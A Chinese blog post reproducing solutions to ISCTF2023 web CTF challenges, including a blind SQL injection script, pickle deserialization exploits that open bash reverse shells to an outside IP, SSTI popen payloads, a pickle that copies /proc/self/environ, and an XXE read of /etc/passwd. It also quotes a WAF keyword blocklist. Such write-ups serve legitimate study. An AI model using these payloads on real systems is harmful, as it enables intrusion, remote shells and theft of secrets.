ISCTF2023_web怪题复现

因为比较简单,做出来的我简单说说,没做出来的也没什么好避讳的,该学就得学,打打复现。

第一个最简单的php反序列化;第二个直接连蚁剑;第三个PCRE回溯绕过正则表达式preg_match;第四个union联合注入(双写绕过);第五个直接code=system('ca''t /f*')或者code=system('strings /f*')【预期解】;第六个user.ini里传base64的php://filter伪协议,然后传base64一句话木马;第八个fuzz会发现中括号和花括号都没ban,可以?file=| cat /fla[f-h]gggggg.txt,也可以?file=f{i}l{e}:///fla{g}gggggg.txt  ;第十个直接没压力的SSTI注入。

这里文件上传的还有种写日志的方法,贴一下官方wp:

 

webinclude

这道题因为进去要给参数传参,但是一直传不了。什么东西都没有,其实就应该dirsearch扫到底,我扫一半就润了:

扫到个index.bak:

 function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

js写的,意思应该就是用这个定义的hash字符串逆向把这个parameter解出来,这样就可以传参了。

re的味道,唉。

exp:

def string_to_int_array(text):
    int_array = []

    for char in text:
        char_code = ord(char)
        int_array.append(char_code - 97)

    return int_array


def int_array_to_text(int_arr):
    string = ''

    for i in range(0, len(int_arr), 2):
        part_a = int_arr[i]
        part_b = int_arr[i + 1]

        char_code = part_a * 26 + part_b
        char = chr(char_code)

        string += char

    return string


a = 'dxdydxdudxdtdxeadxekdxea'
parameter = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(a))))
print(parameter)

不好评价。

那么直接传参php伪协议读就完事了:

1z_Ssql

进去是个sql注入,本来开始用异或注入已经爆库了,但是后面因为过滤了where让我非常难受,网上很多SQL注入的文章特别浅显,基本没讲到过滤了where这种怎么半,唯一找到的还是ctfshow上一道题用了having子句。所以这道题我记忆犹新。

本来以为是个简单的盲注,然后我把很多过滤字段都试出来了,看了别人wp才发现还可以dirsearch扫到黑名单(我去)....

true回显挺正常,就是个简单的布尔盲注,但是就是这个过滤where让我特别恶心,甚至都想到了正则注入也绕不过。

import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):
    for j in range (1,100):
        l = 32
        r = 128
        mid = (l+r)>>1
        while (l < r):
            #爆库名
            payload ="1'^(ascii(substr(database(),{0},1))>{1})#".format(j,mid)
            #爆表名
            #payload = "1'^(ascii(substr((select table_name from information_schema.tables group by table_name having table_schema regexp database() limit {2},1),{0},1))>{1})#".format(j, mid,k)
            #爆字段
            #payload = "1'^(ascii(substr((select column_name from information_schema.columns where table_name='users' limit {2},1),{0},1))>{1})#".format(j, mid, k)
            #payload = "1'^(ascii(substr((select flag1 from  limit {2},1),{0},1)>{1}))#".format(j,mid,k)
            response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})
            if "You are so smart!" in response.text:
                l = mid + 1
            # print(payload)
                #print(response.text)
                i +=1
            else :
                r = mid
            mid = (l + r)>>1
 
        if (chr(mid) == " "):
            result = result + '\n'
            break
        result = result + chr(mid)
 
        #print(result)
 
 
print(i)
print(result)

第一个爆库了:

但网上找的后面的payload都有where,所以都寄了。

因此爆表名根本爆不出来。

但他还给了我两个附件:

我只能用附件里的两个txt,所以只能用这个来爆破。

由于name1里面有users,name2里面有username和password。

猜想name1为表名,name2为字段名来爆破:

将脚本中的database()改成select group_concat(username) from bthcls.users就可以了。

猜想验证:

import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):
    for j in range (1,100):
        l = 32
        r = 128
        mid = (l+r)>>1
        while (l < r):
            payload ="1'^(ascii(substr((select group_concat(username) from bthcls.users),{0},1))>{1})#".format(j,mid)
            response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})

            if "You are so smart!" in response.text:
                l = mid + 1
            # print(payload)
                #print(response.text)
                i +=1
            else :
                r = mid
            mid = (l + r)>>1
 
        if (chr(mid) == " "):
            result = result + '\n'
            break
        result = result + chr(mid)
 
        #print(result)
 
 
print(i)
print(result)

猜想正确,而且flag这些都不能直接读,再用password换一次username拿到admin的密码:

 

然后登录后台给flag:

牛魔玩意,恶心我半天,结果这么简单就出了。

但是网上还找到个非预期,太顶了:[ISCTF2023]web个人复现-CSDN博客

load_file任意文件读取

泰库辣!!!!

double_pickle

进hint路由:

当初陷入定势思维了,我想到reduce没了,应该直接手搓opcode然后传参,os和system没了用0x76(s的十六进制)绕过,不知道成不成功,因为前面做CNSS一道题有个过滤R操作码的pickle反序列化,想到用i操作码或者o操作码,迟迟没有动手,就止步这里了。

看了看这些,也算是受益匪浅:

从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎 (zhihu.com)

Pickle 反序列化绕过 | DummyKitty's blog

python pickle反序列化R指令禁用绕过-腾讯云开发者社区-腾讯云 (tencent.com)

后面才发现这道题,它直接换成空,那不直接双写绕过就完事了吗,我真是个蠢比。

exp:

import pickle
import base64

exp = b'''cooss
syssystemtem
(S"bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'"
tR.'''

print(base64.b64encode(exp))

但是我用隧道没弹出来,算了,vps应该就没有问题。

(补充:后面就用了另一种方法,但是要注意Linux和Windows的区别,在linux开跑pickle.dump的exp:

import pickle
import os
import base64
class Payload():
    def __reduce__(self):
    return(os.system,('bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"',)) #反弹shell。因为这里无回显且无写入权限。

a= Payload()
payload=pickle.dumps(a).replace(b'os', b'ooss').replace(b'reduce',b'redreduceuce').replace(b'system',b'syssystemtem').replace(b'env',b'enenvv').replace(b'flag', b'flflagag') #双写绕过

payload=base64.b64encode(payload) #base编码byte类
print(payload)

应该就没问题)

 

看看别人的:ISCTF2023-web方向-CSDN博客

deep_website 

提示是个异或注入,hint源码看了下是把黑名单元素换成空了。

最后贴一下官方wp,还是有点意思:

 

恐怖G7人-卷土重来

第一个零解题。

框架跟前面的逻辑几乎差不多,但是不一样的地方就是,注入不了了。

何出此言,因为框里只会把你所有的东西回显出来,而不是执行,譬如{{''.__class__}}输进去并不是像前面那样把类给打印出来,而是只打印出{{''.__class__}}这个字符串。

估计代码里直接用的{{}},由此就避免了SSTI。

那么我们必然要去找其他的方法。

首先去原题那里,我们先拿一下app.py和waf.py的源码:

char={{''.__class__.__base__.__subclasses__()[154]['__in'+'it__']['__glo'+'bals__']['popen']('cat app.py').read()}}

app.py:

from flask import Flask
from flask import request
from flask import config
from flask import session
from flask import make_response
from flask import render_template_string
from waf import waf
import base64
import pickle

app = Flask(__name__)

@app.route("/")
def Hello():
    html = '''
    <html>
    <head>
        <title>Welcome ISCTF</title>
    </head>
    <body>
        <h1>Hello CTFer,Welcome to ISCTF 排位赛联盟</h1>
        <br>
        <h2>了解你的撼胃者</h2>
        <img src={{url_for("static",filename="/img/1.jpg")}}>
        <h3>你知道我什么成分,来找我吧</h3>
        <br>
        <a href="/zhuwangxiagu"> 前往猪王峡谷</a>
    </body>
    </html>
    '''
    return render_template_string(html)

@app.route("/zhuwangxiagu", methods=["GET", "POST"])
def pig():
    html = '''
    <html>
    <head>
        <title>猪王峡谷 排位赛联盟</title>
    </head>
    <body>
        <form action="/game" method="post" enctype="multipart/form-data">
            <p>选择你的角色</p>
            <input type="text" name="char" required>
            <input type="submit" value="林肯死大头!">
        </form>
    </body>
    </html>
    '''
    return html

@app.route("/game", methods=["GET", "POST"])
def game():
    name = request.form.get('char')
    if name is None:
        name = "undefined"
    html = f'''
    <html>
    <head>
        <title>猪王峡谷 排位赛联盟</title>
    </head>
    <body>
        <h3>了解这片土地,发现自身优势,然后纵身一跃</h3>
        <h3>芜湖~这可真带劲</h3>
        <p>-----------------------------------------------------------------------------</p>
        <h3>这场战斗并非势均力敌,有多位大厨在做饭</h3>
        <p>-----------------------------------------------------------------------------</p>
        <h1>You are the ISCTF champion, flag in /champion</h1>
        <h4>重伤倒地</h4>
        <h4>{name}</h4>
        <h4>动力牛子</h4>
    </body>
    </html>
    '''
    user = base64.b64encode(pickle.dumps({"name": name, "is_champion": 0}))
    resp = make_response(render_template_string(html))
    resp.set_cookie('userInfo', user)
    return resp

@app.route("/champion")
def getflag():
    userInfoCookies = request.cookies.get('userInfo')
    if userInfoCookies is None:
        return "<h1>Bad Request</h1>", 400
    user = base64.b64decode(userInfoCookies)
    if not waf(user):
        return "<h1>403 Forbidden a</h1>", 403
    user = pickle.loads(user)
    if (champion := user.get("is_champion") is None) or (username := user.get("name") is None):
        return "<h1>You are Not TruE champion</h1>", 401
    if champion != 1:
        return "<h1>You are Not TruE champion</h1>", 401
    else:
        return f"<h1>Welcome champion: {name},But flag in f1__A_g.txt, Get it!</h1>"

app.run(host="0.0.0.0")

 

char={{''.__class__.__base__.__subclasses__()[154]['__in'+'it__']['__glo'+'bals__']['popen']('cat waf.py').read()}}

waf.py:

import re

waf_words = {"setstate", "exec", "key", "os", 'system', 'eval', 'popen', 'subprocess', 'command', 'run', 'read', 'output', 'cat', 'ls', 'grep', 'global', 'flag', '\\nR', 'ntimeit'}

def waf(string):
    for i in waf_words:
        if re.findall(i, str(string), re.I):
            print(i)
            return False
    pattern_unicode = r'\\u[0-9a-fA-F]{4}'
    pattern_R1 = r'\\nR'
    pattern_R2 = r'\\ntimeit'
    m1 = re.findall(pattern_unicode, str(string))
    m2 = re.findall(pattern_R1, str(string))
    m3 = re.findall(pattern_R2, str(string))
    if any([m1, m2, m3]):
        print(m1, m2, m3)
        return False
    return True

浅浅看一下,发现app.py里的champion路由存在pickle反序列化漏洞,那么回到这个0解的新改题,因为很多都被ban了,但是pty和spawn都没进黑名单,想到用cp命令把环境变量写到文件里在访问就可以了。

直接用pickle打:(注意termios这个包UNIX系统才用得到,windows下面跑不了)

import pickle
import base64

class Payload(object):
    def __reduce__(self):
      
        return (__import__("pty").spawn,(["cp","/proc/self/environ","/static/img/1.txt"],),)
    
a = Payload()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))

记得用python3:

python2的会失败的:

 payload:

Cookie: userinfo=gASVRwAAAAAAAACMA3B0eZSMBXNwYXdulJOUXZQojAJjcJSMEi9wcm9jL3NlbGYvZW52aXJvbpSMES9zdGF0aWMvaW1nLzEudHh0lGWFlFKULg==

官方做法:

然后反弹shell。

ez_php

开始啥也没给,做不出来,后面给了html附件看了下源码,发现extract变量覆盖和XXE注入漏洞:

这个XML表单已经很显然了,现在就是想办法把这个XML回显给弄上去。

我们再看一下function.php:

在function.php这里有三个方法,注册一个用户就会创建$user_info_dir.$username的目录,并新建一个用户名.xml的文件,并把$user_xml写入,而且最关键的是这里所有的变量都是可控的。

追溯一下$user_info_dir,在config.php文件中,默认路径为:/tmp/users/,但我们也可以改成:/var/www/html/  :

构造payload:

/register.php?username=123&password=1&config['user_info_dir']=/var/www/html/

由上可以知道,会创建一个跟username名字相同文件名的文件,以及内部一个同名xml,访问一下123/123.xml

获得了回显。

那么接下来就是老生常谈的XXE:

从function.php里的:

也能显然看出,这里可以接受外部实体注入,XXE坐实了。

用register.php里面的XML格式,我们可以构造出:

user_xml_format=<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
                    <userinfo>
                            <user>
                                <username>%26xxe;</username>
                                <password>123</password>
                            </user>
                        </userinfo>

利用password报错出username的回显,试试能不能任意文件读取:

成功:

 

然后直接路径穿越读flag试试,结果直接就出了:

 

注意,传参时一定要记得加上这个表单type,不然出不了的:

Content-Type: application/x-www-form-urlencoded

 

参考:ISCTF2023(WEB方向0解题)-CSDN博客

posted @ 2023-11-30 16:11  Eddie_Murphy  阅读(142)  评论(0编辑  收藏  举报